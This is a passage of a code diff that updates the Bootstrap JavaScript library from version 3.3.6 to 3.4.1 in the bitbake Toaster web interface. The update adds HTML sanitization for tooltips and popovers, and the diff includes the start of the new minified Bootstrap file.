+
+ if ($.inArray(elName, whitelistKeys) === -1) {
+ el.parentNode.removeChild(el)
+
+ continue
+ }
+
+ var attributeList = $.map(el.attributes, function (el) { return el })
+ var whitelistedAttributes = [].concat(whiteList['*'] || [], whiteList[elName] || [])
+
+ for (var j = 0, len2 = attributeList.length; j < len2; j++) {
+ if (!allowedAttribute(attributeList[j], whitelistedAttributes)) {
+ el.removeAttribute(attributeList[j].nodeName)
+ }
+ }
+ }
+
+ return createdDocument.body.innerHTML
+ }
+
// TOOLTIP PUBLIC CLASS DEFINITION
// ===============================
@@ -1274,7 +1441,7 @@ if (typeof jQuery === 'undefined') {
this.init('tooltip', element, options)
}
- Tooltip.VERSION = '3.3.6'
+ Tooltip.VERSION = '3.4.1'
Tooltip.TRANSITION_DURATION = 150
@@ -1291,7 +1458,10 @@ if (typeof jQuery === 'undefined') {
viewport: {
selector: 'body',
padding: 0
- }
+ },
+ sanitize : true,
+ sanitizeFn : null,
+ whiteList : DefaultWhitelist
}
Tooltip.prototype.init = function (type, element, options) {
@@ -1299,7 +1469,7 @@ if (typeof jQuery === 'undefined') {
this.type = type
this.$element = $(element)
this.options = this.getOptions(options)
- this.$viewport = this.options.viewport && $($.isFunction(this.options.viewport) ? this.options.viewport.call(this, this.$element) : (this.options.viewport.selector || this.options.viewport))
+ this.$viewport = this.options.viewport && $(document).find($.isFunction(this.options.viewport) ? this.options.viewport.call(this, this.$element) : (this.options.viewport.selector || this.options.viewport))
this.inState = { click: false, hover: false, focus: false }
if (this.$element[0] instanceof document.constructor && !this.options.selector) {
@@ -1332,7 +1502,15 @@ if (typeof jQuery === 'undefined') {
}
Tooltip.prototype.getOptions = function (options) {
- options = $.extend({}, this.getDefaults(), this.$element.data(), options)
+ var dataAttributes = this.$element.data()
+
+ for (var dataAttr in dataAttributes) {
+ if (dataAttributes.hasOwnProperty(dataAttr) && $.inArray(dataAttr, DISALLOWED_ATTRIBUTES) !== -1) {
+ delete dataAttributes[dataAttr]
+ }
+ }
+
+ options = $.extend({}, this.getDefaults(), dataAttributes, options)
if (options.delay && typeof options.delay == 'number') {
options.delay = {
@@ -1341,6 +1519,10 @@ if (typeof jQuery === 'undefined') {
}
}
+ if (options.sanitize) {
+ options.template = sanitizeHtml(options.template, options.whiteList, options.sanitizeFn)
+ }
+
return options
}
@@ -1452,7 +1634,7 @@ if (typeof jQuery === 'undefined') {
.addClass(placement)
.data('bs.' + this.type, this)
- this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element)
+ this.options.container ? $tip.appendTo($(document).find(this.options.container)) : $tip.insertAfter(this.$element)
this.$element.trigger('inserted.bs.' + this.type)
var pos = this.getPosition()
@@ -1554,7 +1736,16 @@ if (typeof jQuery === 'undefined') {
var $tip = this.tip()
var title = this.getTitle()
- $tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title)
+ if (this.options.html) {
+ if (this.options.sanitize) {
+ title = sanitizeHtml(title, this.options.whiteList, this.options.sanitizeFn)
+ }
+
+ $tip.find('.tooltip-inner').html(title)
+ } else {
+ $tip.find('.tooltip-inner').text(title)
+ }
+
$tip.removeClass('fade in top bottom left right')
}
@@ -1565,9 +1756,11 @@ if (typeof jQuery === 'undefined') {
function complete() {
if (that.hoverState != 'in') $tip.detach()
- that.$element
- .removeAttr('aria-describedby')
- .trigger('hidden.bs.' + that.type)
+ if (that.$element) { // TODO: Check whether guarding this code with this `if` is really necessary.
+ that.$element
+ .removeAttr('aria-describedby')
+ .trigger('hidden.bs.' + that.type)
+ }
callback && callback()
}
@@ -1610,7 +1803,10 @@ if (typeof jQuery === 'undefined') {
// width and height are missing in IE8, so compute them manually; see https://github.com/twbs/bootstrap/issues/14093
elRect = $.extend({}, elRect, { width: elRect.right - elRect.left, height: elRect.bottom - elRect.top })
}
- var elOffset = isBody ? { top: 0, left: 0 } : $element.offset()
+ var isSvg = window.SVGElement && el instanceof window.SVGElement
+ // Avoid using $.offset() on SVGs since it gives incorrect results in jQuery 3.
+ // See https://github.com/twbs/bootstrap/issues/20280
+ var elOffset = isBody ? { top: 0, left: 0 } : (isSvg ? null : $element.offset())
var scroll = { scroll: isBody ? document.documentElement.scrollTop || document.body.scrollTop : $element.scrollTop() }
var outerDims = isBody ? { width: $(window).width(), height: $(window).height() } : null
@@ -1726,9 +1922,13 @@ if (typeof jQuery === 'undefined') {
that.$tip = null
that.$arrow = null
that.$viewport = null
+ that.$element = null
})
}
+ Tooltip.prototype.sanitizeHtml = function (unsafeHtml) {
+ return sanitizeHtml(unsafeHtml, this.options.whiteList, this.options.sanitizeFn)
+ }
// TOOLTIP PLUGIN DEFINITION
// =========================
@@ -1762,10 +1962,10 @@ if (typeof jQuery === 'undefined') {
}(jQuery);
/* ========================================================================
- * Bootstrap: popover.js v3.3.6
- * http://getbootstrap.com/javascript/#popovers
+ * Bootstrap: popover.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#popovers
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
@@ -1782,7 +1982,7 @@ if (typeof jQuery === 'undefined') {
if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js')
- Popover.VERSION = '3.3.6'
+ Popover.VERSION = '3.4.1'
Popover.DEFAULTS = $.extend({}, $.fn.tooltip.Constructor.DEFAULTS, {
placement: 'right',
@@ -1808,10 +2008,25 @@ if (typeof jQuery === 'undefined') {
var title = this.getTitle()
var content = this.getContent()
- $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title)
- $tip.find('.popover-content').children().detach().end()[ // we use append for html objects to maintain js events
- this.options.html ? (typeof content == 'string' ? 'html' : 'append') : 'text'
- ](content)
+ if (this.options.html) {
+ var typeContent = typeof content
+
+ if (this.options.sanitize) {
+ title = this.sanitizeHtml(title)
+
+ if (typeContent === 'string') {
+ content = this.sanitizeHtml(content)
+ }
+ }
+
+ $tip.find('.popover-title').html(title)
+ $tip.find('.popover-content').children().detach().end()[
+ typeContent === 'string' ? 'html' : 'append'
+ ](content)
+ } else {
+ $tip.find('.popover-title').text(title)
+ $tip.find('.popover-content').children().detach().end().text(content)
+ }
$tip.removeClass('fade top bottom left right in')
@@ -1830,8 +2045,8 @@ if (typeof jQuery === 'undefined') {
return $e.attr('data-content')
|| (typeof o.content == 'function' ?
- o.content.call($e[0]) :
- o.content)
+ o.content.call($e[0]) :
+ o.content)
}
Popover.prototype.arrow = function () {
@@ -1871,10 +2086,10 @@ if (typeof jQuery === 'undefined') {
}(jQuery);
/* ========================================================================
- * Bootstrap: scrollspy.js v3.3.6
- * http://getbootstrap.com/javascript/#scrollspy
+ * Bootstrap: scrollspy.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#scrollspy
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
@@ -1900,7 +2115,7 @@ if (typeof jQuery === 'undefined') {
this.process()
}
- ScrollSpy.VERSION = '3.3.6'
+ ScrollSpy.VERSION = '3.4.1'
ScrollSpy.DEFAULTS = {
offset: 10
@@ -2044,10 +2259,10 @@ if (typeof jQuery === 'undefined') {
}(jQuery);
/* ========================================================================
- * Bootstrap: tab.js v3.3.6
- * http://getbootstrap.com/javascript/#tabs
+ * Bootstrap: tab.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#tabs
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
@@ -2064,7 +2279,7 @@ if (typeof jQuery === 'undefined') {
// jscs:enable requireDollarBeforejQueryAssignment
}
- Tab.VERSION = '3.3.6'
+ Tab.VERSION = '3.4.1'
Tab.TRANSITION_DURATION = 150
@@ -2093,7 +2308,7 @@ if (typeof jQuery === 'undefined') {
if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) return
- var $target = $(selector)
+ var $target = $(document).find(selector)
this.activate($this.closest('li'), $ul)
this.activate($target, $target.parent(), function () {
@@ -2118,15 +2333,15 @@ if (typeof jQuery === 'undefined') {
$active
.removeClass('active')
.find('> .dropdown-menu > .active')
- .removeClass('active')
+ .removeClass('active')
.end()
.find('[data-toggle="tab"]')
- .attr('aria-expanded', false)
+ .attr('aria-expanded', false)
element
.addClass('active')
.find('[data-toggle="tab"]')
- .attr('aria-expanded', true)
+ .attr('aria-expanded', true)
if (transition) {
element[0].offsetWidth // reflow for transition
@@ -2138,10 +2353,10 @@ if (typeof jQuery === 'undefined') {
if (element.parent('.dropdown-menu').length) {
element
.closest('li.dropdown')
- .addClass('active')
+ .addClass('active')
.end()
.find('[data-toggle="tab"]')
- .attr('aria-expanded', true)
+ .attr('aria-expanded', true)
}
callback && callback()
@@ -2200,10 +2415,10 @@ if (typeof jQuery === 'undefined') {
}(jQuery);
/* ========================================================================
- * Bootstrap: affix.js v3.3.6
- * http://getbootstrap.com/javascript/#affix
+ * Bootstrap: affix.js v3.4.1
+ * https://getbootstrap.com/docs/3.4/javascript/#affix
* ========================================================================
- * Copyright 2011-2015 Twitter, Inc.
+ * Copyright 2011-2019 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
* ======================================================================== */
@@ -2217,7 +2432,9 @@ if (typeof jQuery === 'undefined') {
var Affix = function (element, options) {
this.options = $.extend({}, Affix.DEFAULTS, options)
- this.$target = $(this.options.target)
+ var target = this.options.target === Affix.DEFAULTS.target ? $(this.options.target) : $(document).find(this.options.target)
+
+ this.$target = target
.on('scroll.bs.affix.data-api', $.proxy(this.checkPosition, this))
.on('click.bs.affix.data-api', $.proxy(this.checkPositionWithEventLoop, this))
@@ -2229,7 +2446,7 @@ if (typeof jQuery === 'undefined') {
this.checkPosition()
}
- Affix.VERSION = '3.3.6'
+ Affix.VERSION = '3.4.1'
Affix.RESET = 'affix affix-top affix-bottom'
diff --git a/poky/bitbake/lib/toaster/toastergui/static/js/bootstrap-3.4.1.min.js b/poky/bitbake/lib/toaster/toastergui/static/js/bootstrap-3.4.1.min.js
new file mode 100644
index 0000000000..eb0a8b410f
--- /dev/null
+++ b/poky/bitbake/lib/toaster/toastergui/static/js/bootstrap-3.4.1.min.js
@@ -0,0 +1,6 @@
+/*!
+ * Bootstrap v3.4.1 (https://getbootstrap.com/)
+ * Copyright 2011-2019 Twitter, Inc.
+ * Licensed under the MIT license
+ */
+if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");!function(t){"use strict";var e=jQuery.fn.jquery.split(" ")[0].split(".");if(e[0]<2&&e[1]<9||1==e[0]&&9==e[1]&&e[2]<1||3<e[0])throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(),function(n){"use strict";n.fn.emulateTransitionEnd=function(t){var e=!1,i=this;n(this).one("bsTransitionEnd",function(){e=!0});return setTimeout(function(){e||n(i).trigger(n.support.transition.end)},t),this},n(function(){n.support.transition=function o(){var t=document.createElement("bootstrap"),e={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var i in e)if(t.style[i]!==undefined)return{end:e[i]};return!1}(),n.support.transition&&(n.event.special.bsTransitionEnd={bindType:n.support.transition.end,delegateType:n.support.transition.end,handle:function(t){if(n(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}})})}(jQuery),function(s){"use strict";var e='[data-dismiss="alert"]',a=function(t){s(t).on("click",e,this.close)};a.VERSION="3.4.1",a.TRANSITION_DURATION=150,a.prototype.close=function(t){var e=s(this),i=e.attr("data-target");i||(i=(i=e.attr("href"))&&i.replace(/.*(?=#[^\s]*$)/,"")),i="#"===i?[]:i;var o=s(document).find(i);function n(){o.detach().trigger("closed.bs.alert").remove()}t&&t.preventDefault(),o.length||(o=e.closest(".alert")),o.trigger(t=s.Event("close.bs.alert")),t.isDefaultPrevented()||(o.removeClass("in"),s.support.transition&&o.hasClass("fade")?o.one("bsTransitionEnd",n).emulateTransitionEnd(a.TRANSITION_DURATION):n())};var t=s.fn.alert;s.fn.alert=function o(i){return this.each(function(){var t=s(this),e=t.data("bs.alert");e||t.data("bs.alert",e=new a(this)),"string"==typeof i&&e[i].call(t)})},s.fn.alert.Constructor=a,s.fn.alert.noConflict=function(){return s.fn.alert=t,this},s(document).on("click.bs.alert.data-api",e,a.prototype.close)}(jQuery),function(s){"use strict";var n=function(t,e){this.$element=s(t),this.options=s.extend({},n.DEFAULTS,e),this.isLoading=!1};function i(o){return this.each(function(){var t=s(this),e=t.data("bs.button"),i="object"==typeof o&&o;e||t.data("bs.button",e=new n(this,i)),"toggle"==o?e.toggle():o&&e.setState(o)})}n.VERSION="3.4.1",n.DEFAULTS={loadingText:"loading..."},n.prototype.setState=function(t){var e="disabled",i=this.$element,o=i.is("input")?"val":"html",n=i.data();t+="Text",null==n.resetText&&i.data("resetText",i[o]()),setTimeout(s.proxy(function(){i[o](null==n[t]?this.options[t]:n[t]),"loadingText"==t?(this.isLoading=!0,i.addClass(e).attr(e,e).prop(e,!0)):this.isLoading&&(this.isLoading=!1,i.removeClass(e).removeAttr(e).prop(e,!1))},this),0)},n.prototype.toggle=function(){var t=!0,e=this.$element.closest('[data-toggle="buttons"]');if(e.length){var i=this.$element.find("input");"radio"==i.prop("type")?(i.prop("checked")&&(t=!1),e.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==i.prop("type")&&(i.prop("checked")!==this.$element.hasClass("active")&&(t=!1),this.$element.toggleClass("active")),i.prop("checked",this.$element.hasClass("active")),t&&i.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var t=s.fn.button;s.fn.button=i,s.fn.button.Constructor=n,s.fn.button.noConflict=function(){return s.fn.button=t,this},s(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(t){var e=s(t.target).closest(".btn");i.call(e,"toggle"),s(t.target).is('input[type="radio"], input[type="checkbox"]')||(t.preventDefault(),e.is("input,button")?e.trigger("focus"):e.find("input:visible,button:visible").first().trigger("focus"))}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(t){s(t.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(t.type))})}(jQuery),function(p){"use strict";var c=function(t,e){this.$element=p(t),this.$indicators=this.$element.find(".carousel-indicators"),this.options=e,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",p.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",p.proxy(this.pause,this)).on("mouseleave.bs.carousel",p.proxy(this.cycle,this))};function r(n){return this.each(function(){var t=p(this),e=t.data("bs.carousel"),i=p.extend({},c.DEFAULTS,t.data(),"object"==typeof n&&n),o="string"==typeof n?n:i.slide;e||t.data("bs.carousel",e=new c(this,i)),"number"==typeof n?e.to(n):o?e[o]():i.interval&&e.pause().cycle()})}c.VERSION="3.4.1",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(t){if(!/input|textarea/i.test(t.target.tagName)){switch(t.which){case 37:this.prev();break;case 39:this.next();break;default:return}t.preventDefault()}},c.prototype.cycle=function(t){return t||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(p.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(t){return this.$items=t.parent().children(".item"),this.$items.index(t||this.$active)},c.prototype.getItemForDirection=function(t,e){var i=this.getItemIndex(e);if(("prev"==t&&0===i||"next"==t&&i==this.$items.length-1)&&!this.options.wrap)return e;var o=(i+("prev"==t?-1:1))%this.$items.length;return this.$items.eq(o)},c.prototype.to=function(t){var e=this,i=this.getItemIndex(this.$active=this.$element.find(".item.active"));if(!(t>this.$items.length-1||t<0))return this.sliding?this.$element.one("slid.bs.carousel",function(){e.to(t)}):i==t?this.pause().cycle():this.slide(i<t?"next":"prev",this.$items.eq(t))},c.prototype.pause=function(t){return t||(this.paused=!0),this.$element.find(".next, .prev").length&&p.support.transition&&(this.$element.trigger(p.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){if(!this.sliding)return this.slide("next")},c.prototype.prev=function(){if(!this.sliding)return this.slide("prev")},c.prototype.slide=function(t,e){var i=this.$element.find(".item.active"),o=e||this.getItemForDirection(t,i),n=this.interval,s="next"==t?"left":"right",a=this;if(o.hasClass("active"))return this.sliding=!1;var r=o[0],l=p.Event("slide.bs.carousel",{relatedTarget:r,direction:s});if(this.$element.trigger(l),!l.isDefaultPrevented()){if(this.sliding=!0,n&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var h=p(this.$indicators.children()[this.getItemIndex(o)]);h&&h.addClass("active")}var d=p.Event("slid.bs.carousel",{relatedTarget:r,direction:s});return p.support.transition&&this.$element.hasClass("slide")?(o.addClass(t),"object"==typeof o&&o.length&&o[0].offsetWidth,i.addClass(s),o.addClass(s),i.one("bsTransitionEnd",function(){o.removeClass([t,s].join(" ")).addClass("active"),i.removeClass(["active",s].join(" ")),a.sliding=!1,setTimeout(function(){a.$element.trigger(d)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(i.removeClass("active"),o.addClass("active"),this.sliding=!1,this.$element.trigger(d)),n&&this.cycle(),this}};var t=p.fn.carousel;p.fn.carousel=r,p.fn.carousel.Constructor=c,p.fn.carousel.noConflict=function(){return p.fn.carousel=t,this};var e=function(t){var e=p(this),i=e.attr("href");i&&(i=i.replace(/.*(?=#[^\s]+$)/,""));var o=e.attr("data-target")||i,n=p(document).find(o);if(n.hasClass("carousel")){var s=p.extend({},n.data(),e.data()),a=e.attr("data-slide-to");a&&(s.interval=!1),r.call(n,s),a&&n.data("bs.carousel").to(a),t.preventDefault()}};p(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),p(window).on("load",function(){p('[data-ride="carousel"]').each(function(){var t=p(this);r.call(t,t.data())})})}(jQuery),function(a){"use strict";var r=function(t,e){this.$element=a(t),this.options=a.extend({},r.DEFAULTS,e),this.$trigger=a('[data-toggle="collapse"][href="#'+t.id+'"],[data-toggle="collapse"][data-target="#'+t.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};function n(t){var e,i=t.attr("data-target")||(e=t.attr("href"))&&e.replace(/.*(?=#[^\s]+$)/,"");return a(document).find(i)}function l(o){return this.each(function(){var t=a(this),e=t.data("bs.collapse"),i=a.extend({},r.DEFAULTS,t.data(),"object"==typeof o&&o);!e&&i.toggle&&/show|hide/.test(o)&&(i.toggle=!1),e||t.data("bs.collapse",e=new r(this,i)),"string"==typeof o&&e[o]()})}r.VERSION="3.4.1",r.TRANSITION_DURATION=350,r.DEFAULTS={toggle:!0},r.prototype.dimension=function(){return this.$element.hasClass("width")?"width":"height"},r.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var t,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(t=e.data("bs.collapse"))&&t.transitioning)){var i=a.Event("show.bs.collapse");if(this.$element.trigger(i),!i.isDefaultPrevented()){e&&e.length&&(l.call(e,"hide"),t||e.data("bs.collapse",null));var o=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[o](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var n=function(){this.$element.removeClass("collapsing").addClass("collapse in")[o](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return n.call(this);var s=a.camelCase(["scroll",o].join("-"));this.$element.one("bsTransitionEnd",a.proxy(n,this)).emulateTransitionEnd(r.TRANSITION_DURATION)[o](this.$element[0][s])}}}},r.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var t=a.Event("hide.bs.collapse");if(this.$element.trigger(t),!t.isDefaultPrevented()){var e=this.dimension();this.$element[e](this.$element[e]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var i=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};if(!a.support.transition)return i.call(this);this.$element[e](0).one("bsTransitionEnd",a.proxy(i,this)).emulateTransitionEnd(r.TRANSITION_DURATION)}}},r.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},r.prototype.getParent=function(){return a(document).find(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(t,e){var i=a(e);this.addAriaAndCollapsedClass(n(i),i)},this)).end()},r.prototype.addAriaAndCollapsedClass=function(t,e){var i=t.hasClass("in");t.attr("aria-expanded",i),e.toggleClass("collapsed",!i).attr("aria-expanded",i)};var t=a.fn.collapse;a.fn.collapse=l,a.fn.collapse.Constructor=r,a.fn.collapse.noConflict=function(){return a.fn.collapse=t,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(t){var e=a(this);e.attr("data-target")||t.preventDefault();var i=n(e),o=i.data("bs.collapse")?"toggle":e.data();l.call(i,o)})}(jQuery),function(a){"use strict";var r='[data-toggle="dropdown"]',o=function(t){a(t).on("click.bs.dropdown",this.toggle)};function l(t){var e=t.attr("data-target");e||(e=(e=t.attr("href"))&&/#[A-Za-z]/.test(e)&&e.replace(/.*(?=#[^\s]*$)/,""));var i="#"!==e?a(document).find(e):null;return i&&i.length?i:t.parent()}function s(o){o&&3===o.which||(a(".dropdown-backdrop").remove(),a(r).each(function(){var t=a(this),e=l(t),i={relatedTarget:this};e.hasClass("open")&&(o&&"click"==o.type&&/input|textarea/i.test(o.target.tagName)&&a.contains(e[0],o.target)||(e.trigger(o=a.Event("hide.bs.dropdown",i)),o.isDefaultPrevented()||(t.attr("aria-expanded","false"),e.removeClass("open").trigger(a.Event("hidden.bs.dropdown",i)))))}))}o.VERSION="3.4.1",o.prototype.toggle=function(t){var e=a(this);if(!e.is(".disabled, :disabled")){var i=l(e),o=i.hasClass("open");if(s(),!o){"ontouchstart"in document.documentElement&&!i.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",s);var n={relatedTarget:this};if(i.trigger(t=a.Event("show.bs.dropdown",n)),t.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),i.toggleClass("open").trigger(a.Event("shown.bs.dropdown",n))}return!1}},o.prototype.keydown=function(t){if(/(38|40|27|32)/.test(t.which)&&!/input|textarea/i.test(t.target.tagName)){var e=a(this);if(t.preventDefault(),t.stopPropagation(),!e.is(".disabled, :disabled")){var i=l(e),o=i.hasClass("open");if(!o&&27!=t.which||o&&27==t.which)return 27==t.which&&i.find(r).trigger("focus"),e.trigger("click");var n=i.find(".dropdown-menu li:not(.disabled):visible a");if(n.length){var s=n.index(t.target);38==t.which&&0<s&&s--,40==t.which&&s<n.length-1&&s++,~s||(s=0),n.eq(s).trigger("focus")}}}};var t=a.fn.dropdown;a.fn.dropdown=function e(i){return this.each(function(){var t=a(this),e=t.data("bs.dropdown");e||t.data("bs.dropdown",e=new o(this)),"string"==typeof i&&e[i].call(t)})},a.fn.dropdown.Constructor=o,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=t,this},a(document).on("click.bs.dropdown.data-api",s).on("click.bs.dropdown.data-api",".dropdown form",function(t){t.stopPropagation()}).on("click.bs.dropdown.data-api",r,o.prototype.toggle).on("keydown.bs.dropdown.data-api",r,o.prototype.keydown).on("keydown.bs.dropdown.data-api",".dropdown-menu",o.prototype.keydown)}(jQuery),function(a){"use strict";var s=function(t,e){this.options=e,this.$body=a(document.body),this.$element=a(t),this.$dialog=this.$element.find(".modal-dialog"),this.$backdrop=null,this.isShown=null,this.originalBodyPad=null,this.scrollbarWidth=0,this.ignoreBackdropClick=!1,this.fixedContent=".navbar-fixed-top, .navbar-fixed-bottom",this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,a.proxy(function(){this.$element.trigger("loaded.bs.modal")},this))};function r(o,n){return this.each(function(){var t=a(this),e=t.data("bs.modal"),i=a.extend({},s.DEFAULTS,t.data(),"object"==typeof o&&o);e||t.data("bs.modal",e=new s(this,i)),"string"==typeof o?e[o](n):i.show&&e.show(n)})}s.VERSION="3.4.1",s.TRANSITION_DURATION=300,s.BACKDROP_TRANSITION_DURATION=150,s.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},s.prototype.toggle=function(t){return this.isShown?this.hide():this.show(t)},s.prototype.show=function(i){var o=this,t=a.Event("show.bs.modal",{relatedTarget:i});this.$element.trigger(t),this.isShown||t.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',a.proxy(this.hide,this)),this.$dialog.on("mousedown.dismiss.bs.modal",function(){o.$element.one("mouseup.dismiss.bs.modal",function(t){a(t.target).is(o.$element)&&(o.ignoreBackdropClick=!0)})}),this.backdrop(function(){var t=a.support.transition&&o.$element.hasClass("fade");o.$element.parent().length||o.$element.appendTo(o.$body),o.$element.show().scrollTop(0),o.adjustDialog(),t&&o.$element[0].offsetWidth,o.$element.addClass("in"),o.enforceFocus();var e=a.Event("shown.bs.modal",{relatedTarget:i});t?o.$dialog.one("bsTransitionEnd",function(){o.$element.trigger("focus").trigger(e)}).emulateTransitionEnd(s.TRANSITION_DURATION):o.$element.trigger("focus").trigger(e)}))},s.prototype.hide=function(t){t&&t.preventDefault(),t=a.Event("hide.bs.modal"),this.$element.trigger(t),this.isShown&&!t.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),a(document).off("focusin.bs.modal"),this.$element.removeClass("in").off("click.dismiss.bs.modal").off("mouseup.dismiss.bs.modal"),this.$dialog.off("mousedown.dismiss.bs.modal"),a.support.transition&&this.$element.hasClass("fade")?this.$element.one("bsTransitionEnd",a.proxy(this.hideModal,this)).emulateTransitionEnd(s.TRANSITION_DURATION):this.hideModal())},s.prototype.enforceFocus=function(){a(document).off("focusin.bs.modal").on("focusin.bs.modal",a.proxy(function(t){document===t.target||this.$element[0]===t.target||this.$element.has(t.target).length||this.$element.trigger("focus")},this))},s.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keydown.dismiss.bs.modal",a.proxy(function(t){27==t.which&&this.hide()},this)):this.isShown||this.$element.off("keydown.dismiss.bs.modal")},s.prototype.resize=function(){this.isShown?a(window).on("resize.bs.modal",a.proxy(this.handleUpdate,this)):a(window).off("resize.bs.modal")},s.prototype.hideModal=function(){var t=this;this.$element.hide(),this.backdrop(function(){t.$body.removeClass("modal-open"),t.resetAdjustments(),t.resetScrollbar(),t.$element.trigger("hidden.bs.modal")})},s.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},s.prototype.backdrop=function(t){var e=this,i=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var o=a.support.transition&&i;if(this.$backdrop=a(document.createElement("div")).addClass("modal-backdrop "+i).appendTo(this.$body),this.$element.on("click.dismiss.bs.modal",a.proxy(function(t){this.ignoreBackdropClick?this.ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus():this.hide())},this)),o&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!t)return;o?this.$backdrop.one("bsTransitionEnd",t).emulateTransitionEnd(s.BACKDROP_TRANSITION_DURATION):t()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var n=function(){e.removeBackdrop(),t&&t()};a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",n).emulateTransitionEnd(s.BACKDROP_TRANSITION_DURATION):n()}else t&&t()},s.prototype.handleUpdate=function(){this.adjustDialog()},s.prototype.adjustDialog=function(){var t=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&t?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!t?this.scrollbarWidth:""})},s.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},s.prototype.checkScrollbar=function(){var t=window.innerWidth;if(!t){var e=document.documentElement.getBoundingClientRect();t=e.right-Math.abs(e.left)}this.bodyIsOverflowing=document.body.clientWidth<t,this.scrollbarWidth=this.measureScrollbar()},s.prototype.setScrollbar=function(){var t=parseInt(this.$body.css("padding-right")||0,10);this.originalBodyPad=document.body.style.paddingRight||"";var n=this.scrollbarWidth;this.bodyIsOverflowing&&(this.$body.css("padding-right",t+n),a(this.fixedContent).each(function(t,e){var i=e.style.paddingRight,o=a(e).css("padding-right");a(e).data("padding-right",i).css("padding-right",parseFloat(o)+n+"px")}))},s.prototype.resetScrollbar=function(){this.$body.css("padding-right",this.originalBodyPad),a(this.fixedContent).each(function(t,e){var i=a(e).data("padding-right");a(e).removeData("padding-right"),e.style.paddingRight=i||""})},s.prototype.measureScrollbar=function(){var t=document.createElement("div");t.className="modal-scrollbar-measure",this.$body.append(t);var e=t.offsetWidth-t.clientWidth;return this.$body[0].removeChild(t),e};var 